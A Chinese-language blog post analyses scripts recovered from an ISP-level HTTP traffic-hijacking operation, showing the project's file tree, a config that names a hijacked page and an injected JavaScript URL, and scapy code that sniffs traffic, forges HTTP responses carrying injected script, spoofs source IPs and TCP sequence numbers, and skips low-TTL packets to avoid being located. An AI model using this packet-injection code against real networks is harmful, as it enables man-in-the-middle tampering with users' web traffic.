之前所在的公司被运营商流量劫持,细节可以看上一篇博客,反制了一下劫持者,顺便把他们用的脚本拿出来分析了一下。

目录结构

  • python => 核心功能代码
  • c => 部分早期的POC,以及需要高性能的地方用c代码实现

常用的就http_get_logger.c

  • cdn_files => 放在云存储上的一些中间页源代码,发布前请先压缩
  • document => 一些参考文档和资料
  • server_init => 服务器初始化配置说明
  • tools => 一些python写的常用工具脚本
  • supervisor => 各个服务器的supervisor配置
  • conf_files => 服务器的常用配置
├── [ 483]  README.md
├── [ 256]  c
│   ├── [8.9K]  block_http_request.c
│   ├── [2.0K]  fake_ping.c
│   ├── [5.7K]  http_get_logger.c
│   ├── [ 160]  my_encrypt
│   │   ├── [2.3K]  MyEncrypt.c
│   │   ├── [ 219]  setup.py
│   │   └── [2.5K]  test.py
│   ├── [ 11K]  pcap_logging.c
│   └── [2.1K]  test_web.c
├── [ 224]  cdn_files
│   ├── [ 160]  bak
│   │   ├── [ 448]  2015-08-06
│   ├── [1.7K]  minifier.sh
│   └── [ 192]  output
│       ├── [ 45K]  edu_qj.jpg
│       ├── [ 40K]  edu_sjb.jpg
│       ├── [ 46K]  xdf_gxh.jpg
│       └── [ 55K]  zml.jpg
│   └── [  96]  zhenjiang
├── [ 384]  document
│   ├── [173K]  Building\ Packets\ for\ Dummies\ and\ Others\ with\ Libnet.pdf
│   ├── [761K]  PacketCraftingUsingScapy.pdf
│   ├── [325K]  TCP_Hijacking.pdf
│   ├── [ 760]  ping_server.sh
│   ├── [1.9K]  scapy_intro.txt
│   └──[1.1K]  tcp_flow.txt  
├── [ 352]  py_cfg
│   ├── [  96]  gz
│   ├── [  96]  gz2
│   ├── [  96]  hz
│   ├── [  96]  nb2
│   ├── [  96]  rq
│   ├── [  96]  sx
│   ├── [  96]  sx_jz
│   ├── [  96]  yw
│   └── [  96]  zj
├── [ 160]  python
│   ├── [ 448]  lib
│   │   ├── [2.7K]  DataSender.py
│   │   ├── [2.8K]  DataSenderT.py
│   │   ├── [ 960]  Firewall.py
│   │   ├── [ 630]  GlobalLocker.py
│   │   ├── [3.7K]  PcapFilterGenerator.py
│   │   ├── [1.3K]  TnGenerator.py
│   │   ├── [  46]  __init__.py
│   │   ├── [4.8K]  dns_reader.py
│   │   ├── [4.8K]  dns_reader_nb.py
│   │   ├── [4.8K]  dns_reader_nb_yx.py
│   │   ├── [ 638]  ethernet_detector.py
│   │   └── [1.6K]  pcap_url_filter.py
│   ├── [ 352]  lib_socket
│   │   ├── [4.2K]  DataSender.py
│   │   ├── [ 960]  Firewall.py
│   │   ├── [ 630]  GlobalLocker.py
│   │   ├── [3.7K]  PcapFilterGenerator.py
│   │   ├── [1.3K]  TnGenerator.py
│   │   ├── [  46]  __init__.py
│   │   ├── [4.8K]  dns_reader.py
│   │   ├── [ 638]  ethernet_detector.py
│   │   └── [1.6K]  pcap_url_filter.py
│   └── [ 352]  lib_vlan
│       ├── [2.2K]  DataSender.py
│       ├── [ 960]  Firewall.py
│       ├── [ 630]  GlobalLocker.py
│       ├── [3.7K]  PcapFilterGenerator.py
│       ├── [1.3K]  TnGenerator.py
│       ├── [  46]  __init__.py
│       ├── [4.8K]  dns_reader.py
│       ├── [ 638]  ethernet_detector.py
│       └── [1.6K]  pcap_url_filter.py
├── [ 864]  python_up
│   ├── [1.4K]  monitor.py
│   ├── [2.5K]  monitor_bd.py
│   ├── [2.4K]  monitor_duba.py
│   ├── [2.5K]  monitor_hao123.py
│   ├── [2.4K]  monitor_jd.py
│   ├── [2.4K]  monitor_jumei.py
│   ├── [2.4K]  monitor_vip.py
│   ├── [4.8K]  simple_url_redirector.py
│   ├── [5.1K]  simple_url_redirector_ap.py
│   ├── [5.2K]  simple_url_redirector_ha.py
│   ├── [5.9K]  simple_url_redirector_hotel.py
│   ├── [4.6K]  simple_url_redirector_mb.py
│   ├── [4.7K]  simple_url_redirector_yx.py
│   ├── [8.2K]  url_param_replace_redirector.py
│   ├── [6.7K]  url_param_replace_redirector_mb.py
│   └── [2.6K]  url_redirect.py
├── [ 320]  server_init
│   ├── [7.8K]  Network_Tuning.sh
│   ├── [1.8K]  Network_Tuning2.sh
│   ├── [ 525]  Network_Tuning_rq.sh
│   ├── [ 450]  Network_p2p.sh
│   ├── [ 460]  bash_improve.sh
│   ├── [ 893]  init_centos_5.8.txt
│   └── [5.2K]  init_ubuntu.sh
├── [ 128]  supervisor
│   ├── [1.0K]  README.md
└── [ 480]  tools
    ├── [ 900]  ethernet_detector.py
    ├── [6.1K]  get_dns_records.py
    ├── [5.9K]  get_ip_nb.py
    ├── [ 21K]  get_ip_nb_yx.py
    ├── [ 574]  http_logging.py
    ├── [2.2K]  performance_compare.py
    ├── [1.3K]  relay.py
    ├── [3.8K]  send_vlan.py
    ├── [2.4K]  socket_byte.py
    ├── [ 516]  socket_client.py
    ├── [2.2K]  socket_server.py
    ├── [2.6K]  ss.py
    └── [ 673]  translate_raw_log.php

脚本作用于监听某一块网卡的所有流量,并且可以篡改回包

关键配置文件如下


cfg_area = {

    "staging": ["eth0"],  #本地网卡

    "yw": ["p1p2"], #网卡名称

}




js_config_vip = [

    {

        "name": "qq_yw.js",

        "target": "http://fw.qq.com/ipaddress", #需要劫持的目标网页(匹配到即可)

        "target_is_prefix": True,

        "exam_expression": '',

        "js_to_append": "http://7xj2du.com1.z0.glb.clouddn.com/ywt.js", #插入的js

        "add_random_flag": False,

        "add_tn_code": False

    },

程序行为

通过对程序的了解知道其大概的依赖基本是使用python的scapy包的sniff模块,通过hook一个处理函数,然后在改写sendp函数提高性能,然后在使用一个payload函数进行对http包的修改,加上Ether,datasender模块重新封包,然后再返回。

简单思考

这种程序的性能优化不大,基本都是依赖于python进行处理,但是如果是一个大流量的网络环境下,所有流量都必须经过该设备,那这个设备一定会挂掉,由此可见这个设备肯定不是用于安装在大型的网络出口(如省级,市级),最大的可能是区域的出口设备上,在下面就是小区的网络出口上,并且支持光纤/vlan的流量劫持

并且支持远程代理设备进行回包的发送(暂为理解为何需要此步骤)

劫持方式

  1. 通过直接将小区进出的总网线插入到劫持设备上进行流量分析
  2. 通过修改路由配置将小区的流量转发到路由上进行处理
  3. 通过路由自带的镜像功能

工作流程图如下

untitled.png

部分代码分析

篡改返回包,通过scapy中的sniff模块,传递一个自写的篡改函数如下

def hack_js(read_eth, area, config):
    title = getproctitle() + ' ' + read_eth + ' [ ' + config['name'] + ' "' + config['target'] + '" ]'
    setproctitle(title)
    worker = JsHacker(area, config)
    sniff(prn=worker.mapping, iface=read_eth, filter=worker.filter_string, store=0)
def mapping(self, request_pkt):
        try:
            if not self.rate_limiter.hit(request_pkt[IP].src):
                self.sender.write_back(request_pkt, self.payload(request_pkt))
        finally:
            return

其中mapping函数使用payload函数重新组包,添加自定义的js进行返回

def payload(self, src_pkt):
        if self.target_is_prefix:
            request_payload = src_pkt[Raw].load
            line_pos = request_payload.find(' HTTP/1')
            _path = request_payload[4:line_pos]
            _url = "http://%s/%s" % (self.target_domain, _path)
            html = self.js_loader(_url, False) + self.js_appender
        else:
            html = self.js_target + self.js_appender
        if self.tn:
            html = 'var _ixi_="' + self.tn.get(src_pkt[IP].src) + '";' + html
        else:
            html = 'var _ixi_="' + self.tn_a + '";' + html
        # jumei的某些地区跳转到天放
        html = 'var _ixi2_="' + self.tn_a + '";' + html
        # Browser Cache Expire Days
        expire_days = 0.1
        return "HTTP/1.1 200 OK" \
               + "\r\nServer: WS" \
               + "\r\nContent-Type: application/javascript" \
               + "\r\nContent-Length: %d" % len(html) \
               + "\r\nCache-Control: public, max-age=%d" % (86400 * expire_days) \
               + "\r\nDate: %s" % time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.localtime()) \
               + "\r\n\r\n" + html

然后调用了自写的Datasender模块伪造来源发送给目标ip,并且为了防止被人在附近劫持设备附近的网络进行流量分析,判断了ttl小于10就不篡改

    def write_back(self, src_pkt, payload):
        #避免被人定位数据截取点
        if src_pkt[IP].ttl < 10 :
            return
        pack = self.data_pkg
        try:
            pack[Raw].load = payload
            pack[TCP].dport = src_pkt[TCP].sport
            pack[TCP].seq = src_pkt[TCP].ack
            pack[TCP].ack = src_pkt[TCP].seq + src_pkt[IP].len - 40 #IP头 + TCP头刚好40
            pack[IP].src = src_pkt[IP].dst
            pack[IP].dst = src_pkt[IP].src
            self.send1p(self.ether_pkg/pack)
        except KeyboardInterrupt:
            pass
        finally:
            syslog.syslog(src_pkt.sprintf("DataSender::write_back {IP:%IP.src% -> %IP.dst%} {Raw:%Raw.load%}"))

            return

标签: none